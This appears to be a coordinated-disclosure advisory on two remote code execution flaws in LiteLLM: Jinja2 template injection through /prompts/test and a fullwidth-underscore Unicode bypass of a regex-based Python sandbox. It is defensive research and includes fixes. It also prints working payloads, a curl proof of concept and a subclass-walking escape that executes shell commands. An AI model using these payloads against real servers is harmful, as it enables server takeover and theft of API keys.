Executive Summary
During our security assessment of LiteLLM v1.82.2, a popular Python-based LLM proxy server, we discovered two high-severity remote code execution vulnerabilities that allow authenticated administrators to execute arbitrary commands on the server. Both vulnerabilities demonstrate how modern LLM infrastructure can introduce novel attack surfaces that require careful security consideration.
🔴 High-Severity Findings Summary:
-
- CVE-2026-42203 – Jinja2 Server-Side Template Injection (SSTI) RCE via
/prompts/test - CVE-2026-XXXXX – Custom Code Guardrail Sandbox Bypass via Unicode NFKC Normalization
- Authentication Required: PROXY_ADMIN role (master key or admin API key)
- Impact: Full remote code execution as LiteLLM process user
- CVE-2026-42203 – Jinja2 Server-Side Template Injection (SSTI) RCE via
Background: LiteLLM Attack Surface
LiteLLM serves as a proxy layer between applications and various LLM providers (OpenAI, Anthropic, etc.), offering features like:
- Unified API interface across 100+ LLM providers
- API key management and cost tracking
- Custom prompt templates and testing capabilities
- Content guardrails and custom Python code execution
- Admin web UI for configuration management
The prompt management and guardrail testing features, designed to help administrators validate configurations, introduced the vulnerabilities we discovered.
Vulnerability #1: Jinja2 SSTI RCE
Root Cause Analysis
The POST /prompts/test endpoint allows administrators to test prompt templates before deployment. The implementation renders user-supplied content through the Jinja2 templating engine without proper sandboxing.
Vulnerable Code Location: integrations/dotprompt/prompt_manager.py:62
prompt_manager = PromptManager()
rendered_content = prompt_manager.jinja_env.from_string(
template_content
).render(**variables)
The critical flaw is that jinja_env is created using jinja2.Environment() instead of jinja2.sandbox.SandboxedEnvironment(). This allows access to Python’s object model and system functions through template expressions.
Exploitation Technique
Template injection payloads can access Python’s built-in objects and execute system commands:
{{ cycler.__init__.__globals__["os"].popen("id").read() }}
The attack chain works as follows:
cycler– Access Jinja2’s built-in cycler class__init__.__globals__– Access the global namespace of the cycler’s constructor["os"]– Retrieve the imported os module.popen("id").read()– Execute arbitrary system commands
Key Observation: Commands execute server-side even though the HTTP response is 400 “No messages found in rendered prompt”. Template rendering occurs before the model validation that causes the error.
Proof of Concept
The exploit sends a malicious dotprompt template to the test endpoint:
curl -X POST http://target:4000/prompts/test \
-H "Authorization: Bearer [ADMIN_KEY]" \
-H "Content-Type: application/json" \
-d '{
"dotprompt_content": "---\nmodel: llama3.2\n---\n\n{{ cycler.__init__.__globals__[\"os\"].popen(\"id > /tmp/proof.txt\").read() }}",
"prompt_variables": {}
}'
Technical Evidence
The following screenshots demonstrate successful exploitation of the SSTI vulnerability:
Vulnerability #2: Unicode Sandbox Bypass
Root Cause Analysis
The custom code guardrail feature (POST /guardrails/test_custom_code) allows administrators to test Python security policies. The implementation attempts to sandbox user code by blocking dangerous patterns with regex matching:
# Simplified regex blocking dangerous patterns
blocked_patterns = [
r'__class__', r'__subclasses__', r'__globals__',
r'__init__', r'__bases__', r'eval', r'exec'
]
However, this approach has a fundamental flaw: Python 3 performs Unicode NFKC normalization on identifiers before compilation, but the regex validation occurs on the original string.
Unicode NFKC Normalization Attack
The key insight is that the fullwidth underscore character U+FF3F (_) normalizes to the regular underscore U+005F (_) under NFKC normalization. This means:
- Regex sees:
__class__(doesn’t match__class__pattern) - Python compiler sees:
__class__(after NFKC normalization)
Exploitation Chain
The exploit constructs a custom guardrail function that escapes the sandbox:
def apply_guardrail(inputs, request_data, input_type):
obj = str()
cls = obj.__class__ # U+FF3F bypasses regex
bases = cls.__bases__
obj_class = bases[0]
subs = obj_class.__subclasses__()
# Find a class with 'os' in globals (e.g., logging.LogRecord)
for s in subs:
try:
g = s.__init__.__globals__
if 'os' in g:
os_mod = g['os']
break
except:
pass
# Execute arbitrary commands
output = os_mod.popen("id").read()
return dict(action='log', message=output)
This technique demonstrates the normalization happens after validation – where input validation and execution context interpret the same data differently.
Technical Evidence
The following screenshots demonstrate successful exploitation of the Unicode sandbox bypass vulnerability:
Note: The /guardrails/test_custom_code vulnerability was independently discovered by X41 Security in their advisory X41-2026-001. However, our research demonstrates a fundamentally different exploitation methodology using Unicode NFKC normalization rather than bytecode manipulation.
Impact Assessment
Attack Scenarios
- Compromised Admin Accounts: Malicious insiders or compromised admin credentials
- Supply Chain Attacks: Malicious prompt templates or guardrail configurations
- Configuration Tampering: Attackers with admin access executing arbitrary code
- Lateral Movement: From LiteLLM server to broader infrastructure
Business Risk
- Full server compromise as LiteLLM process user
- Access to API keys and sensitive configuration data
- Potential pivot to connected LLM provider accounts
- Data exfiltration from LLM request/response logs
Remediation and Mitigation
Immediate Actions
- Audit Admin Access: Review all accounts with PROXY_ADMIN role
- Enable Monitoring: Log all requests to
/prompts/testand/guardrails/test_custom_code - Network Segmentation: Restrict LiteLLM server network access
- Update LiteLLM: Monitor for security patches from the maintainers
Long-term Fixes
Template Injection SSTI Fix:
# Replace unsafe Environment with SandboxedEnvironment
from jinja2.sandbox import SandboxedEnvironment
# In prompt_manager.py
self.jinja_env = SandboxedEnvironment(
# Configure safe sandbox options
undefined=jinja2.StrictUndefined,
# Block dangerous attributes
)
Unicode Sandbox Fix:
# Use AST-based validation instead of regex
import ast
def validate_guardrail_code(code):
try:
tree = ast.parse(code)
for node in ast.walk(tree):
if isinstance(node, ast.Attribute):
# Check actual attribute names after normalization
if any(dangerous in node.attr for dangerous in
['__class__', '__globals__', '__init__']):
raise ValueError(f"Dangerous attribute: {node.attr}")
except SyntaxError:
raise ValueError("Invalid Python syntax")
Defense in Depth
- Principle of Least Privilege: Minimize admin accounts
- Container Security: Run LiteLLM in restricted containers
- Code Review: Security review of custom guardrail code
- Runtime Monitoring: Detect unusual process execution
Timeline and Disclosure
- March 14, 2026: Vulnerabilities discovered during security assessment
- March 14, 2026: Proof-of-concept development and validation
- March 15, 2026: Initial contact with LiteLLM maintainers
- April 10, 2026: Duplicate marking noted for
/guardrails/test_custom_codevulnerability - April 10, 2026:
/prompts/testvulnerability confirmed as unique discovery - April 24, 2026: CVE-2026-42203 assigned for SSTI vulnerability
- Status: Fixed in LiteLLM v1.83.7-stable – coordinated disclosure complete
Conclusion
These vulnerabilities highlight the security challenges inherent in LLM infrastructure components. The template injection SSTI vulnerability demonstrates classic template injection risks, while Unicode bypass showcases novel Unicode normalization attacks against Python sandboxes.
Key takeaways for the security community:
- Template Engines: Always use sandboxed environments for user input
- Unicode Security: Consider normalization effects in input validation
- LLM Infrastructure: New attack surfaces require specialized security review
- Defense in Depth: Multiple security layers are essential for admin functions
Organizations using LiteLLM should immediately audit their admin access controls and monitor for the IOCs described in this analysis.
About FORTBRIDGE Security Research
This research was conducted as part of FORTBRIDGE’s ongoing security assessment services. We specialize in identifying vulnerabilities in emerging AI and LLM infrastructure to help organizations secure their AI implementations.
Contact: For questions about this research or to discuss security assessments, reach out via our contact page.